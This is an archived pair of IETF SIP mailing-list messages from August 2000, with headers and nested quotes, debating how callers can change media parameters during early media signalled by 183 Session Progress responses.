<0FZI00C0158TUZ@firewall.mcit.com> for sip@lists.bell-labs.com; Fri, 18 Aug 2000 19:10:05 +0000 (GMT) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0FZI005KD58SSF@firewall.mcit.com>; Fri, 18 Aug 2000 19:10:05 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) id <0FZI0010158SGZ@pmismtp02.wcomnet.com>; Fri, 18 Aug 2000 19:10:04 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0FZI0010158QGR@pmismtp02.wcomnet.com>; Fri, 18 Aug 2000 19:10:04 +0000 (GMT) Received: from omta3.mcit.com ([166.37.204.5]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0FZI00JPD58BO6@pmismtp02.wcomnet.com>; Fri, 18 Aug 2000 19:09:49 +0000 (GMT) Received: from wcom.com ([166.44.153.28]) by omta3.mcit.com (InterMail v03.02.07.05 118-131) with ESMTP id <20000818191016.LPWM7158@wcom.com>; Fri, 18 Aug 2000 19:10:16 +0000 Date: Fri, 18 Aug 2000 14:11:11 -0500 From: Alan Johnston Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? To: Manoj Bhatia Cc: Brett Tate , Anders Kristensen , Jonathan Rosenberg , sip@lists.bell-labs.com Message-id: <399D8A4E.2747E10A@wcom.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (Win98; U) Content-type: multipart/alternative; boundary="Boundary_(ID_xs332bH0LQps7lpUKEy7rw)" X-Accept-Language: en References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> <399B8269.FBCABDC6@dynamicsoft.com> <399C0021.6C9B8C63@dynamicsoft.com> <0c9201c00878$f061e8a0$3202a8c0@broadsoft.com> <399D545C.BE69F54C@cisco.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --Boundary_(ID_xs332bH0LQps7lpUKEy7rw) Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I agree - 183 seems to work, and many PSTN Gateway vendors area long way down this road. Since the 183 I-D has expired, I wonder what replaces the Session header that was proposed in that draft. I think it is critical for a UAC to be able to distinguish between SDP which is optional, and may safely ignore (such as a customized ringtone or other feature) and early media which can contain information about the final status of the call (ring no answer, busytone, recorded announcement "The number you have dialed has changed. The new number is ...") that might be received from the PSTN. Is it the consensus that SDP in a 180 response falls into the first category - the UAC has the option of playing or not playing to the user, and SDP in a 183 falls into the second category of "ignore at your peril"? As for Jonathan's options, I vote for 1. Alan Johnston Manoj Bhatia wrote: > > I would strongly debate against changing the existing semantics of > 18x messages. We have discussed 18x too much and had arrived on this > semantics of 183 . The 183 draft is clear on what needs to be done > with > the response and what does an SDP mean in 183. > > The original concept of 180 (with or without SDP) and 183 (with SDP > always) > works fine for all the scenarios today. > > For a UAS willing to feed any ringback /early media or announcements, > the choice of > 183 with SDP is there. > These messages were thought about carefully and they mapped to > ALERTING and > PROGRESS events from PSTN world. Any change in semantics like using a > generic > 200 OK (As suggested in option 3) for all events then using SIP > headers to decide > what to do might be an overkill. > Think about the SIP drafts which are already under review based on > this logic. > > I still have concerns about : > 1) Why a need to distinguish a remote ringback case from a remote > media ? > 2) If the caller wishes to change the media before the call is > established, > the option 2 of sending re-INVITE is the most logical way to do. > Agreed, that it is a pain; but so is everything down the lane when > QoS/PRACK/COMET/ > 3pcc/ INVITE with DELAYED media et a. > > > Comments ? > > thanks > -manoj > > Brett Tate wrote: > >> ----- Original Message ----- >> From: Anders Kristensen >> To: Jonathan Rosenberg >> Cc: Jean-Hugues ROBERT ; >> Sent: Thursday, August 17, 2000 11:09 AM >> Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with >> 183 ? >> >> > These are the kind of anomalies that are to be expected when >> nested >> > calls are introduced. I believe when we had this discussion last >> time it >> > all got down to billing eventually. I guess most people would >> agree that >> > (ideally at least) the signaling protocol shouldn't depend on >> billing. >> > Option 3 seems much preferable to me - avoid doing early media and >> set >> > up legs properly. Option 2 is just an abomination. >> >> I agree that option 2 adds too much complexity to SIP. >> >> However I think that early media is very useful for ip-telephony; >> thus I would hate to see option 3 get adopted. I just feel that >> early media needs to be more explicitly defined; >> please see "Remote ringback" thread. >> >> I think that if the caller needs to change SDP, >> the caller needs to wait until after the call is >> answered before sending a message with the new SDP. >> >> Unless considered a violation by the Transfer draft, >> the following is an overkill strange possibility. >> The caller can REFER the called party back to caller and >> provide the new SDP in the 200rsp, and CANCEL the >> original INVITE before the called party answers. When >> the original called party answers, the SDP is passed in >> the ACK. >> >> > >> > Anders >> > >> > Jonathan Rosenberg wrote: >> > > >> > > This is a really good issue. Thanks for bringing it up. >> > > >> > > Seems like there are really just three possibilities: >> > > >> > > 1. punt this problem; you can't change the parameters before the >> call is >> > > setup >> > > 2. allow reinvites before the 200 OK to change the parameters >> > > 3. don't allow early media - send a 200 OK for this instead >> > > >> > > None of these are ideal. (2) worries me, as it introduces >> additional >> > > complexity which I fear will have interactions with other >> things. (3) is >> > > somewhat appealing, allowing us to return to the simpler model >> SIP >> > > orginally had. However, people claimed this had nasty >> interactions with >> > > billing systems and PSTN interworking. I wonder if we can't >> revisit this >> > > and see if those issues could be resolved some other way? >> > > >> > > -Jonathan R. >> > > >> > > Jean-Hugues ROBERT wrote: >> > > > >> > > > Hi, >> > > > >> > > > Short form: In the presence of Early Media, prior to receiving >> 200 OK, >> how >> > > > can a Caller tell a Callee to send media according to a *new* >> SDP ? Or >> "How >> > > > can I put a call on hold when I hear a remotely generated >> ringback >> tone ?" >> > > > >> > > > Much longer form: >> > > > >> > > > It is generaly agreed that making Media and Signaling distinct >> is a >> good >> > > > thing. Amoung other benefit it enables decomposed >> architectures and >> more >> > > > generaly support the locality of concern principle. >> > > > >> > > > A prime example of this distinction is SDP usage in SIP. SIP >> is >> basically >> > > > concerned by Signaling whereas SDP is about Media. >> > > > >> > > > Signaling is mainly about setting up and tearing down >> communications. >> Media >> > > > is mainly about payload formats and destinations. >> > > > >> > > > It is my understanding that, prior to 183 Session Progress, >> Media data >> > > > started to flow only after INVITE's 200 OK final response was >> received >> or >> > > > acknowledged (depending on side). >> > > > >> > > > Afterward, changes impacting Media (changes in SDPs) occured >> at any >> time >> > > > using re-INVITE. Callee could ask Caller "Please now handle >> Media >> according >> > > > to this new SDP". Caller could do the same. This was fine. >> > > > >> > > > However, since 183 Provisionnal response was introduced, as >> well as >> other >> > > > new occasions to change SDPs during call setup, Media can >> start to >> flow >> > > > well before 200 OK, or even in the total absence of 200 OK. >> > > > >> > > > This may introduce an issue regarding control of Media, during >> the >> setup phase: >> > > > Callee can still ask Caller "Please now handle Media >> according >> to this >> > > > *new* SDP", simply sending a new 183. However I fear that >> Caller >> *cannot* >> > > > ask Callee to change Media any more. >> > > > >> > > > To be fully accurate, it seems that Caller could still ask >> Callee to >> change >> > > > Media, if SDP is allowed in PRACK, but only in response to >> Callee >> doing it >> > > > first. Is SDP legal in PRACK's ack message ? >> > > > >> > > > So my question is: "In the presence of Early Media, how can a >> Caller >> ask a >> > > > Callee to handle Media according to a new SDP when Caller's >> INVITE >> > > > transaction is still not completed ?". >> > > > >> > > > One potential solution could be to allow re-INVITE while the >> "main" >> INVITE >> > > > is still not completed. It is illegal today. This would >> introduce >> > > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is >> already a >> form >> > > > of nested transaction, isn't it ? >> > > > >> > > > Another solution, probably simplier, would be to enable 183 >> "both >> ways": >> > > > The Caller would have the rigth to send it to the Callee, >> potentially >> only >> > > > in the presence of Early Media. But that seems weird, because >> it is a >> > > > reponse without a question. >> > > > >> > > > If you are guessing "why the hell does this matter ?", please >> think of >> > > > potential restrictions if Media cannot change while call is >> beeing >> setted up. >> > > > >> > > > One example related to mobility (probably not 100% relevant, >> not a >> thread >> > > > to SIP for Mobility): >> > > > Lets say I have a decomposed cheap wireless IP phone: >> > > > - The expensive UA has a fixed IP address and a full >> featured >> SIP stack >> > > > with a fancy Java user application, it handles multiple >> phones. >> > > > - The cheap phones have no fixed IP addresses, a very >> ligth >> > > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to >> interact >> with >> > > > the UA. >> > > > Whenever the phone's IP address changes, the UA will change >> the Media >> of >> > > > the involved SIP calls, if any. >> > > > >> > > > Now the issue: What if the phone moves while receiving Early >> Media >> (say >> > > > remote ringback tone) ? UA need to tell the Callee about the >> Calling >> > > > phone's new IP address. How ? >> > > > >> > > > Other, simplier, issues: How do I put a call on hold when I am >> >> listening to >> > > > some network generated annoucement ? How can an assistant, >> dialing on >> > > > behalf of the boss, transfer the ringing call to the boss when >> >> ringback >> > > > tone is generated remotely ? >> > > > >> > > > Any previous art in solving this issue (if it is actually an >> issue) ? >> > > > Is there a similar issue in H.323 (Early H.245 related I >> guess) or was >> it >> > > > solved ? >> > > > >> > > > BTW: A *radical* solution would be to avoid 1xx responses that >> >> initiate >> > > > Early Media and have a 200 OK as soon as media is there (with >> probably >> some >> > > > hints that the call/session is not "fully" established). Some >> yet to >> define >> > > > "INFO Session Progress" could later on indicate how the call >> is >> > > > progressing. This has the merit of beeing compatible with >> existing >> > > > implementations. >> > > > >> > > > Jean-Hugues Robert >> > > >> > >> -------------------------------------------------------------------------- >> >> - >> > > > "Fix Bugs First" >> > > > Sophia General Manager. >> > > > mailto:jhr@netergynet.com - We serve providers - >> "Think >> globally. >> > > > http://www.netergynet.com - Hosted PBX solutions - >> Act >> locally." >> > > > >> > > > _______________________________________________ >> > > > SIP mailing list >> > > > SIP@lists.bell-labs.com >> > > > http://lists.bell-labs.com/mailman/listinfo/sip >> > > >> > > -- >> > > Jonathan D. Rosenberg 72 Eagle Rock Ave. >> > > Chief Scientist First Floor >> > > dynamicsoft East Hanover, NJ >> 07936 >> > > jdrosen@dynamicsoft.com FAX: (973) >> 952-5050 >> > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) >> 741-7244 >> > > http://www.dynamicsoft.com >> > > >> > > _______________________________________________ >> > > SIP mailing list >> > > SIP@lists.bell-labs.com >> > > http://lists.bell-labs.com/mailman/listinfo/sip >> > >> > >> > _______________________________________________ >> > SIP mailing list >> > SIP@lists.bell-labs.com >> > http://lists.bell-labs.com/mailman/listinfo/sip >> > >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Manoj Bhatia | | | > manojb@cisco.com | :|: :|: > 7025 Kit Creek Road, RTP, NC - 27709 | :|||||: :|||||: > Ph: 919-392-3873 IP: 919-991-5714 | C i s c o S y s t e m s > > --Boundary_(ID_xs332bH0LQps7lpUKEy7rw) Content-type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I agree - 183 seems to work, and many PSTN Gateway vendors area  long way down this road.

Since the 183 I-D has expired, I wonder what replaces the Session header that was proposed in that draft.  I think it is critical for a UAC to be able to distinguish between SDP which is optional, and may safely ignore (such as a customized ringtone or other feature) and early media which can contain information about the final status of the call (ring no answer, busytone, recorded announcement "The number you have dialed has changed.  The new number is ...") that might be received from the PSTN.

Is it the consensus that SDP in a 180 response falls into the first category - the UAC has the option of playing or not playing to the user, and SDP in a 183 falls into the second category of "ignore at your peril"?

As for Jonathan's options, I vote for 1.

Alan Johnston

Manoj Bhatia wrote:

 
I would strongly debate against changing the existing semantics of
18x messages. We have discussed 18x too much and had arrived on this
semantics of 183 . The 183 draft is clear on what needs to be done with
the response and what does an SDP mean in 183.

The original concept of 180 (with or without SDP) and 183 (with SDP always)
works fine for all the scenarios today.

For a UAS willing to feed any ringback /early media or announcements, the choice of
183 with SDP is there.
These messages were thought about carefully and they mapped to ALERTING and
PROGRESS events from PSTN world. Any change in semantics like using a generic
200 OK (As suggested in option 3) for all events then using SIP headers to decide
what to do might be an overkill.
Think about the SIP drafts which are already under review based on this logic.

I still have concerns about :
1) Why a need to distinguish a remote ringback case from a remote media ?
2) If  the caller wishes to change the media before the call is established,
the option 2 of sending re-INVITE is the most logical way to do.
Agreed, that it is a pain; but so is everything down the lane when QoS/PRACK/COMET/
3pcc/ INVITE with DELAYED media et a.
 

Comments ?

thanks
-manoj

Brett Tate wrote:

----- Original Message -----
From: Anders Kristensen <akristensen@dynamicsoft.com>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Jean-Hugues ROBERT <jhr@8x8.com>; <sip@lists.bell-labs.com>
Sent: Thursday, August 17, 2000 11:09 AM
Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ?

> These are the kind of anomalies that are to be expected when nested
> calls are introduced. I believe when we had this discussion last time it
> all got down to billing eventually. I guess most people would agree that
> (ideally at least) the signaling protocol shouldn't depend on billing.
> Option 3 seems much preferable to me - avoid doing early media and set
> up legs properly. Option 2 is just an abomination.

I agree that option 2 adds too much complexity to SIP.

However I think that early media is very useful for ip-telephony;
thus I would hate to see option 3 get adopted.  I just feel that
early media needs to be more explicitly defined;
please see "Remote ringback" thread.

I think that if the caller needs to change SDP,
the caller needs to wait until after the call is
answered before sending a message with the new SDP.

Unless considered a violation by the Transfer draft,
the following is an overkill strange possibility.
The caller can REFER the called party back to caller and
provide the new SDP in the 200rsp, and CANCEL the
original INVITE before the called party answers.  When
the original called party answers, the SDP is passed in
the ACK.

>
> Anders
>
> Jonathan Rosenberg wrote:
> >
> > This is a really good issue. Thanks for bringing it up.
> >
> > Seems like there are really just three possibilities:
> >
> > 1. punt this problem; you can't change the parameters before the call is
> > setup
> > 2. allow reinvites before the 200 OK to change the parameters
> > 3. don't allow early media - send a 200 OK for this instead
> >
> > None of these are ideal. (2) worries me, as it introduces additional
> > complexity which I fear will have interactions with other things. (3) is
> > somewhat appealing, allowing us to return to the simpler model SIP
> > orginally had. However, people claimed this had nasty interactions with
> > billing systems and PSTN interworking. I wonder if we can't revisit this
> > and see if those issues could be resolved some other way?
> >
> > -Jonathan R.
> >
> > Jean-Hugues ROBERT wrote:
> > >
> > > Hi,
> > >
> > > Short form: In the presence of Early Media, prior to receiving 200 OK,
how
> > > can a Caller tell a Callee to send media according to a *new* SDP ? Or
"How
> > > can I put a call on hold when I hear a remotely generated ringback
tone ?"
> > >
> > > Much longer form:
> > >
> > > It is generaly agreed that making Media and Signaling distinct is a
good
> > > thing. Amoung other benefit it enables decomposed architectures and
more
> > > generaly support the locality of concern principle.
> > >
> > > A prime example of this distinction is SDP usage in SIP. SIP is
basically
> > > concerned by Signaling whereas SDP is about Media.
> > >
> > > Signaling is mainly about setting up and tearing down communications.
Media
> > > is mainly about payload formats and destinations.
> > >
> > > It is my understanding that, prior to 183 Session Progress, Media data
> > > started to flow only after INVITE's 200 OK final response was received
or
> > > acknowledged (depending on side).
> > >
> > > Afterward, changes impacting Media (changes in SDPs) occured at any
time
> > > using re-INVITE. Callee could ask Caller "Please now handle Media
according
> > > to this new SDP". Caller could do the same. This was fine.
> > >
> > > However, since 183 Provisionnal response was introduced, as well as
other
> > > new occasions to change SDPs during call setup, Media can start to
flow
> > > well before 200 OK, or even in the total absence of 200 OK.
> > >
> > > This may introduce an issue regarding control of Media, during the
setup phase:
> > >         Callee can still ask Caller "Please now handle Media according
to this
> > > *new* SDP", simply sending a new 183. However I fear that Caller
*cannot*
> > > ask Callee to change Media any more.
> > >
> > > To be fully accurate, it seems that Caller could still ask Callee to
change
> > > Media, if SDP is allowed in PRACK, but only in response to Callee
doing it
> > > first. Is SDP legal in PRACK's ack message ?
> > >
> > > So my question is: "In the presence of Early Media, how can a Caller
ask a
> > > Callee to handle Media according to a new SDP when Caller's INVITE
> > > transaction is still not completed ?".
> > >
> > > One potential solution could be to allow re-INVITE while the "main"
INVITE
> > > is still not completed. It is illegal today. This would introduce
> > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a
form
> > > of nested transaction, isn't it ?
> > >
> > > Another solution, probably simplier, would be to enable 183 "both
ways":
> > > The Caller would have the rigth to send it to the Callee, potentially
only
> > > in the presence of Early Media. But that seems weird, because it is a
> > > reponse without a question.
> > >
> > > If you are guessing "why the hell does this matter ?", please think of
> > > potential restrictions if Media cannot change while call is beeing
setted up.
> > >
> > > One example related to mobility (probably not 100% relevant, not a
thread
> > > to SIP for Mobility):
> > > Lets say I have a decomposed cheap wireless IP phone:
> > >         - The expensive UA has a fixed IP address and a full featured
SIP stack
> > > with a fancy Java user application, it handles multiple phones.
> > >         - The cheap phones have no fixed IP addresses, a very ligth
> > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact
with
> > > the UA.
> > > Whenever the phone's IP address changes, the UA will change the Media
of
> > > the involved SIP calls, if any.
> > >
> > > Now the issue: What if the phone moves while receiving Early Media
(say
> > > remote ringback tone) ? UA need to tell the Callee about the Calling
> > > phone's new IP address. How ?
> > >
> > > Other, simplier, issues: How do I put a call on hold when I am
listening to
> > > some network generated annoucement ? How can an assistant, dialing on
> > > behalf of the boss, transfer the ringing call to the boss when
ringback
> > > tone is generated remotely ?
> > >
> > > Any previous art in solving this issue (if it is actually an issue) ?
> > > Is there a similar issue in H.323 (Early H.245 related I guess) or was
it
> > > solved ?
> > >
> > > BTW: A *radical* solution would be to avoid 1xx responses that
initiate
> > > Early Media and have a 200 OK as soon as media is there (with probably
some
> > > hints that the call/session is not "fully" established). Some yet to
define
> > > "INFO Session Progress" could later on indicate how the call is
> > > progressing. This has the merit of beeing compatible with existing
> > > implementations.
> > >
> > > Jean-Hugues Robert
> >
> --------------------------------------------------------------------------
-
> > > "Fix Bugs First"
> > > Sophia General Manager.
> > > mailto:jhr@netergynet.com      - We serve providers -     "Think
globally.
> > > http://www.netergynet.com     - Hosted PBX solutions -        Act
locally."
> > >
> > > _______________________________________________
> > > SIP mailing list
> > > SIP@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/sip
> >
> > --
> > Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
> > http://www.dynamicsoft.com
> >
> > _______________________________________________
> > SIP mailing list
> > SIP@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/sip
>
>
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip
>

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 
Manoj Bhatia                           |        |         |
manojb@cisco.com                       |       :|:       :|:
7025 Kit Creek Road, RTP, NC - 27709   |     :|||||:   :|||||:
Ph: 919-392-3873  IP: 919-991-5714     |  C i s c o S y s t e m s
 
--Boundary_(ID_xs332bH0LQps7lpUKEy7rw)-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 15:22:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05519 for ; Fri, 18 Aug 2000 15:22:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CB5264437B; Fri, 18 Aug 2000 15:21:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bounty.cisco.com (bounty.cisco.com [161.44.3.204]) by lists.bell-labs.com (Postfix) with ESMTP id 4D4A044338 for ; Fri, 18 Aug 2000 15:21:30 -0400 (EDT) Received: from cisco.com (rtp-xdm1.cisco.com [161.44.3.80]) by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id PAA07203; Fri, 18 Aug 2000 15:21:26 -0400 (EDT) Message-ID: <399D8CA0.C71E851E@cisco.com> Date: Fri, 18 Aug 2000 15:21:05 -0400 From: Manoj Bhatia Organization: Cisco Systems, RTP, NC, USA. X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Steve Donovan Cc: Jonathan Rosenberg , Jean-Hugues ROBERT , sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: Content-Type: multipart/alternative; boundary="------------1998060515D50709BAF258B8" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------1998060515D50709BAF258B8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I agree to Steve's point that QoS aware SIP UAs would have to take the option (1) because of so much interworking already based on the current logic. For QoS unaware UAs, the option (2 or 3) which are messy are do-able. I feel that 'media-aware SIP UAs ' are already burdened with handling complexities in implementing the following : 3pcc, early media, Reliable Prov responses, Manyfolks draft which are all media related features. Any tweaks in basic call flows at this point either suggests that we moved too much ahead too fast or that we are now stretching it too far. It is quite natural that softswitch/proxy server/'media unaware UA" implementors are not seeing the above load . thanks -manoj > It is an interworking issue that has billing implications, not a billing > issue. I will not go into it here, as it has been documented already. > > I am certainly willing to explore other methods for solving this > interworking issue. However, I would suspect that there are a number of > implementations out there that have implemented early media with 183. > Please also remember that there were a number of proposals discussed on the > list for other creative uses of the early media concept. > > I have also seen it proposed in this and other threads that the ability to > attach SDP to a provisional response should be removed from the bis draft. > Doing so would break the QoS and security solutions documented in: > > http://www.softarmor.com/sipwg/drafts/draft-manyfolks-sip-resource-01.txt > > I suspect that the same issue raised about early media also applies to the > use of SDP in a 18x message for the purpose of setting up QoS and security > relationships. > > It may not be the cleanest solution, but I vote for number 1 and making it a > client problem to handle changing of the IP address during session setup. > > Steve > > > -----Original Message----- > > From: sip-admin@lists.bell-labs.com > > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg > > Sent: Thursday, August 17, 2000 1:13 AM > > To: Jean-Hugues ROBERT > > Cc: sip@lists.bell-labs.com > > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 > > ? > > > > > > This is a really good issue. Thanks for bringing it up. > > > > Seems like there are really just three possibilities: > > > > 1. punt this problem; you can't change the parameters before the call is > > setup > > 2. allow reinvites before the 200 OK to change the parameters > > 3. don't allow early media - send a 200 OK for this instead > > > > None of these are ideal. (2) worries me, as it introduces additional > > complexity which I fear will have interactions with other things. (3) is > > somewhat appealing, allowing us to return to the simpler model SIP > > orginally had. However, people claimed this had nasty interactions with > > billing systems and PSTN interworking. I wonder if we can't revisit this > > and see if those issues could be resolved some other way? > > > > -Jonathan R. > > > > Jean-Hugues ROBERT wrote: > > > > > > Hi, > > > > > > Short form: In the presence of Early Media, prior to receiving > > 200 OK, how > > > can a Caller tell a Callee to send media according to a *new* > > SDP ? Or "How > > > can I put a call on hold when I hear a remotely generated > > ringback tone ?" > > > > > > Much longer form: > > > > > > It is generaly agreed that making Media and Signaling distinct is a good > > > thing. Amoung other benefit it enables decomposed architectures and more > > > generaly support the locality of concern principle. > > > > > > A prime example of this distinction is SDP usage in SIP. SIP is > > basically > > > concerned by Signaling whereas SDP is about Media. > > > > > > Signaling is mainly about setting up and tearing down > > communications. Media > > > is mainly about payload formats and destinations. > > > > > > It is my understanding that, prior to 183 Session Progress, Media data > > > started to flow only after INVITE's 200 OK final response was > > received or > > > acknowledged (depending on side). > > > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > > using re-INVITE. Callee could ask Caller "Please now handle > > Media according > > > to this new SDP". Caller could do the same. This was fine. > > > > > > However, since 183 Provisionnal response was introduced, as > > well as other > > > new occasions to change SDPs during call setup, Media can start to flow > > > well before 200 OK, or even in the total absence of 200 OK. > > > > > > This may introduce an issue regarding control of Media, during > > the setup phase: > > > Callee can still ask Caller "Please now handle Media > > according to this > > > *new* SDP", simply sending a new 183. However I fear that > > Caller *cannot* > > > ask Callee to change Media any more. > > > > > > To be fully accurate, it seems that Caller could still ask > > Callee to change > > > Media, if SDP is allowed in PRACK, but only in response to > > Callee doing it > > > first. Is SDP legal in PRACK's ack message ? > > > > > > So my question is: "In the presence of Early Media, how can a > > Caller ask a > > > Callee to handle Media according to a new SDP when Caller's INVITE > > > transaction is still not completed ?". > > > > > > One potential solution could be to allow re-INVITE while the > > "main" INVITE > > > is still not completed. It is illegal today. This would introduce > > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is > > already a form > > > of nested transaction, isn't it ? > > > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > > The Caller would have the rigth to send it to the Callee, > > potentially only > > > in the presence of Early Media. But that seems weird, because it is a > > > reponse without a question. > > > > > > If you are guessing "why the hell does this matter ?", please think of > > > potential restrictions if Media cannot change while call is > > beeing setted up. > > > > > > One example related to mobility (probably not 100% relevant, > > not a thread > > > to SIP for Mobility): > > > Lets say I have a decomposed cheap wireless IP phone: > > > - The expensive UA has a fixed IP address and a full > > featured SIP stack > > > with a fancy Java user application, it handles multiple phones. > > > - The cheap phones have no fixed IP addresses, a very ligth > > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to > > interact with > > > the UA. > > > Whenever the phone's IP address changes, the UA will change the Media of > > > the involved SIP calls, if any. > > > > > > Now the issue: What if the phone moves while receiving Early Media (say > > > remote ringback tone) ? UA need to tell the Callee about the Calling > > > phone's new IP address. How ? > > > > > > Other, simplier, issues: How do I put a call on hold when I am > > listening to > > > some network generated annoucement ? How can an assistant, dialing on > > > behalf of the boss, transfer the ringing call to the boss when ringback > > > tone is generated remotely ? > > > > > > Any previous art in solving this issue (if it is actually an issue) ? > > > Is there a similar issue in H.323 (Early H.245 related I guess) > > or was it > > > solved ? > > > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > > Early Media and have a 200 OK as soon as media is there (with > > probably some > > > hints that the call/session is not "fully" established). Some > > yet to define > > > "INFO Session Progress" could later on indicate how the call is > > > progressing. This has the merit of beeing compatible with existing > > > implementations. > > > > > > Jean-Hugues Robert > > > > > ------------------------------------------------------------------ > > --------- > > > "Fix Bugs First" > > > Sophia General Manager. > > > mailto:jhr@netergynet.com - We serve providers - > > "Think globally. > > > http://www.netergynet.com - Hosted PBX solutions - > > Act locally." > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > -- > > Jonathan D. Rosenberg 72 Eagle Rock Ave. > > Chief Scientist First Floor > > dynamicsoft East Hanover, NJ 07936 > > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > > http://www.dynamicsoft.com > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Manoj Bhatia | | | manojb@cisco.com | :|: :|: 7025 Kit Creek Road, RTP, NC - 27709 | :|||||: :|||||: Ph: 919-392-3873 IP: 919-991-5714 | C i s c o S y s t e m s --------------1998060515D50709BAF258B8 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
I agree to Steve's point that QoS aware SIP UAs would have to take the option (1)
because of so much interworking already based on the current logic.
For QoS unaware UAs, the option (2 or 3) which are messy are do-able.

I feel that 'media-aware SIP UAs ' are already burdened
with handling  complexities in implementing the following :
3pcc, early media, Reliable Prov responses, Manyfolks draft
which are all media related features. Any tweaks in basic call flows at this point
either suggests that we moved too much ahead too fast or that we are
now stretching it too far.

It is quite natural that softswitch/proxy server/'media unaware UA"  implementors
are not seeing the above load .

thanks
-manoj
 

It is an interworking issue that has billing implications, not a billing
issue.  I will not go into it here, as it has been documented already.

I am certainly willing to explore other methods for solving this
interworking issue.  However, I would suspect that there are a number of
implementations out there that have implemented early media with 183.
Please also remember that there were a number of proposals discussed on the
list for other creative uses of the early media concept.

I have also seen it proposed in this and other threads that the ability to
attach SDP to a provisional response should be removed from the bis draft.
Doing so would break the QoS and security solutions documented in:

http://www.softarmor.com/sipwg/drafts/draft-manyfolks-sip-resource-01.txt

I suspect that the same issue raised about early media also applies to the
use of SDP in a 18x message for the purpose of setting up QoS and security
relationships.

It may not be the cleanest solution, but I vote for number 1 and making it a
client problem to handle changing of the IP address during session setup.

Steve

> -----Original Message-----
> From: sip-admin@lists.bell-labs.com
> [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg
> Sent: Thursday, August 17, 2000 1:13 AM
> To: Jean-Hugues ROBERT
> Cc: sip@lists.bell-labs.com
> Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183
> ?
>
>
> This is a really good issue. Thanks for bringing it up.
>
> Seems like there are really just three possibilities:
>
> 1. punt this problem; you can't change the parameters before the call is
> setup
> 2. allow reinvites before the 200 OK to change the parameters
> 3. don't allow early media - send a 200 OK for this instead
>
> None of these are ideal. (2) worries me, as it introduces additional
> complexity which I fear will have interactions with other things. (3) is
> somewhat appealing, allowing us to return to the simpler model SIP
> orginally had. However, people claimed this had nasty interactions with
> billing systems and PSTN interworking. I wonder if we can't revisit this
> and see if those issues could be resolved some other way?
>
> -Jonathan R.
>
> Jean-Hugues ROBERT wrote:
> >
> > Hi,
> >
> > Short form: In the presence of Early Media, prior to receiving
> 200 OK, how
